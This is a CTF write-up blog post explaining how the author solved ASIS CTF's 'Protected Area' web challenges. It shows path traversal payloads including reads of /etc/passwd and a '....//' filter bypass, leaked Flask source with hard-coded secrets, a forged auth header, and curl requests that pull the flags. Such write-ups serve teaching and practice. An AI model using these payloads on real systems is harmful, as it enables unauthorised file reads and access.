ASIS CTF — Protected Area 1 & 2 Walkthrough

Yasho
InfoSec Write-ups
Published in
5 min readNov 17, 2019

--

Hello, The reader of this walkthrough should know these topics:

  1. Docker
  2. Nginx
  3. Flask structure and a bit of development
  4. Running Flask as uWSGI service
  5. Web application vulnerability assessment
  6. Fuzzing

The Protected Area part 1

Opening the challenge IP resulted in sending two HTTP request:

http://66.172.33.148:8008/check_perm/readable/?file=public.txt
http://66.172.33.148:8008/read_file/?file=public.txt

The first link had directory traversal:

http://66.172.33.148:8008/check_perm/readable/?file=../../../../../../etc/passwd

However, nothing useful gained. The second link was file-opener. I tried to fuzz the input:

?file=[FUZZ]public.txt[FUZZ]

The fuzz results:

  1. The ../ is replaced with nothing (the ../public.txt returned content)
  2. The file should end with .txt

I tried:

....//.txt

Got the different error (500). In order to bypass the .txt I tried the following methods:

  1. Nullbyte
  2. New-line/other whitespaces
  3. Parameter pollution

Nothing gained. Here I spent some time, the following request/response:

?file=....//public.txt.txt -> security
?file=....//public.py.txt -> 500

Why the first link returned security? it’s was ending by .txt and it should be ok. Conclusion: the .txt should be the last part of the parameter|query string. So:

?file=....//&.txt

Got 500. the filter was bypassed. Quick fuzz:

?file=....//[FUZZ]&.txt

Revealed the app.py :

from flask import Flask

def create_app():
"""Construct the core application."""
app = Flask(__name__, instance_relative_config=False)

with app.app_context():
# Imports
from . import api
return app

The api.py:

from flask import current_app as app
from flask import request, render_template, send_file
from .functions import *
from config import *

import os

@app.route('/check_perm/readable/', methods=['GET'])
def app_check_file() -> str:
try:
file = request.args.get("file")

file_path = os.path.normpath('application/files/{}'.format(file))
with open(file_path, 'r') as f:
return str(f.readable())
except:
return '0'

@app.route('/read_file/', methods=['GET'])
def app_read_file() -> str:

file = request.args.get("file").replace('../', '')
qs = request.query_string.decode('UTF-8')

if qs.find('.txt') != (len(qs) - 4):
return 'security'

try:
return send_file('files/{}'.format(file))
except Exception as e:
return "500"

@app.route('/protected_area_0098', methods=['GET'])
@check_login
def app_protected_area() -> str:
return Config.FLAG

@app.route('/', methods=['GET'])
def app_index() -> str:
return render_template('index.html')

@app.errorhandler(404)
def not_found_error(error) -> str:
return "Error 404"

The flag was in protected_area_0098 but authentication was needed, two important files were config.py : (….//….//config.py&.txt)

import os

class Config:
"""Set Flask configuration vars from .env file."""

# general config
FLAG = os.environ.get('FLAG')
SECRET = "s3cr3t"
ADMIN_PASS = "b5ec168843f71c6f6c30808c78b9f55d"

And functions.py (….//functions.py&.txt)

from flask import request, abort
from functools import wraps
import traceback, os, hashlib
from config import *

def check_login(f):
"""
Wraps routing functions that require a user to be logged in
"""
@wraps(f)
def wrapper(*args, **kwds):
try:
ah = request.headers.get('ah')

if ah == hashlib.md5((Config.ADMIN_PASS + Config.SECRET).encode("utf-8")).hexdigest():
return f(*args, **kwds)

else:
return abort(403)

except:
return abort(403)

return wrapper

The flag:

curl http://66.172.33.148:8008/protected_area_0098 -H "ah: cbd54a3499ba0f4b221218af1958e281" -v
* Trying 66.172.33.148...
* TCP_NODELAY set
* Connected to 66.172.33.148 (66.172.33.148) port 8008 (#0)
> GET /protected_area_0098 HTTP/1.1
> Host: 66.172.33.148:8008
> User-Agent: curl/7.64.1
> Accept: */*
> ah: cbd54a3499ba0f4b221218af1958e281
>
< HTTP/1.1 200 OK
< Server: nginx/1.15.8
< Date: Sun, 17 Nov 2019 13:53:05 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 38
<
* Connection #0 to host 66.172.33.148 left intact
ASIS{f70a0203d638a0c90a490ad46a94e394}
* Closing connection 0

The Protected Area part 2

The challenge was the same as previous. private.txtrevealed the back-end infra-structure:

https://github.com/tiangolo/uwsgi-nginx-flask-docker

I did lots of fuzzing on the various parts of URL:

?file=[FUZZ]public[FUZZ].txt[FUZZ]

Nothing gained. After spending some time, I went to check the second URL:

http://66.172.33.148:5008/check_perm/readable/?file=test

Something was different from the first question, the error message:

[Errno 2] No such file or directory: '/files/test'

So I tried to fuzz the input, nothing useful. After a couple of hours, I got an error with the URL:

http://66.172.33.148:5008/check_perm/test/?file=public.txt

The response:

'_io.TextIOWrapper' object has no attribute 'test'

I was in the TextIOWrapper so I run the following code:

>>> print(dir(open('/etc/passwd')))['_CHUNK_SIZE', '__class__', '__del__', '__delattr__', '__dict__', '__dir__', '__doc__', '__enter__', '__eq__', '__exit__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__iter__', '__le__', '__lt__', '__ne__', '__new__', '__next__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_checkClosed', '_checkReadable', '_checkSeekable', '_checkWritable', '_finalizing', 'buffer', 'close', 'closed', 'detach', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'line_buffering', 'mode', 'name', 'newlines', 'read', 'readable', 'readline', 'readlines', 'reconfigure', 'seek', 'seekable', 'tell', 'truncate', 'writable', 'write', 'write_through', 'writelines']

The read was good:

http://66.172.33.148:5008/check_perm/read/?file=public.txt

I got the content, so file disclosure vulnerability found. I run the docker image and went inside it:

docker run -d -p5000:80 uwsgi-nginx-flask-docker
docker exec -it $(docker ps -q) /bin/bash

The following files seemed more interesting:

/etc/nginx/nginx.conf
/etc/nginx/conf.d/nginx.conf

The result:

server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /opt/py/app/static;
}
}

The root folder: /opt/py/app so I went through finding the application name (I read the config.py by guessing, but it wasn’t enough since the flag could not be read by the check_perm end-point):

import osclass Config:
"""Set Flask configuration vars from .env file."""
# general config
FLAG = "flag/flag"
FLAG_SEND = "../flag/flag"

Reading the repo:

[uwsgi]
module = main
callable = app
  • module = main refers to the file main.py.
  • callable = app refers to the Flask "application", in the variable app

So:

view-source:http://66.172.33.148:5008/check_perm/read/?file=../opt/py/app/uwsgi.ini

The result:

[uwsgi]
module = main_application
callable = app
py-autoreload = 1
uid = nginx
gid = nginx
process = 5
max-requests=5000

The main_application.py:

from app_source.main import *app = create_app()if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True)

Reading all files revealed the structure (from /opt/py/app/):

.
|-- main_application.py
|-- app_source
|-------------|--- main.py
|-------------|--- admin_route.py
|-------------|--- all_routes.py

The admin_routes.py:

from flask import current_app as app
from flask import request, render_template, send_file
import traceback, json
from config import *
import os
@app.route('/protected_area/<file_hash>', methods=['GET'])
def app_protected_area(file_hash) -> str:
try:
if str(hash(open(Config.FLAG))) == file_hash:
return send_file(Config.FLAG_SEND)
else:
abort(403)
except:
return "500"

In order to read the flag, I should have the flag’s hash, how? I could get __hash__ property of the flag. However, the check_perm end-pint could not contain flag . the solution is in the all_routes.py:

from flask import current_app as app
from flask import request, render_template, send_file
import traceback, json
import os
@app.route('/check_perm/<method>/', methods=['GET'])
def app_checkb_file(method) -> json:
try:
file = request.args.get("file")
if file.find('/proc') != -1:
return "0"
file_path = os.path.normpath('/files/{}'.format(file))
with open(file_path, 'r') as f:
call = getattr(f, method)()
if type(call) == int:
return str(call)

elif type(call) != list and file.find('flag') == -1:
return str(call)
return '0'
except Exception as e:
return str(e)
@app.route('/read_file/', methods=['GET'])
def app_read_file() -> str:

file = request.args.get("file").replace('../', '')
if file.find('.txt') != (len(file) - 4):
return 'security'

try:
return send_file('/files/{}'.format(file))
except Exception as e:
return str(e)
@app.route('/', methods=['GET'])
def app_index() -> str:
return render_template('index.html')
@app.errorhandler(404)
def not_found_error(error) -> str:
return "Error 404"

The file’s hash is an integer:

>>> type(open('/etc/passwd').__hash__())<class 'int'>

So I could calculate the __hash__() of the flag/flag:

view-source:http://66.172.33.148:5008/check_perm/__hash__/?file=../opt/py/app/flag/flag

Getting the flag:

curl http://66.172.33.148:5008/protected_area/8771321880381ASIS{1b7dc3a5ba52a11f0361bec284e59d58}

--

--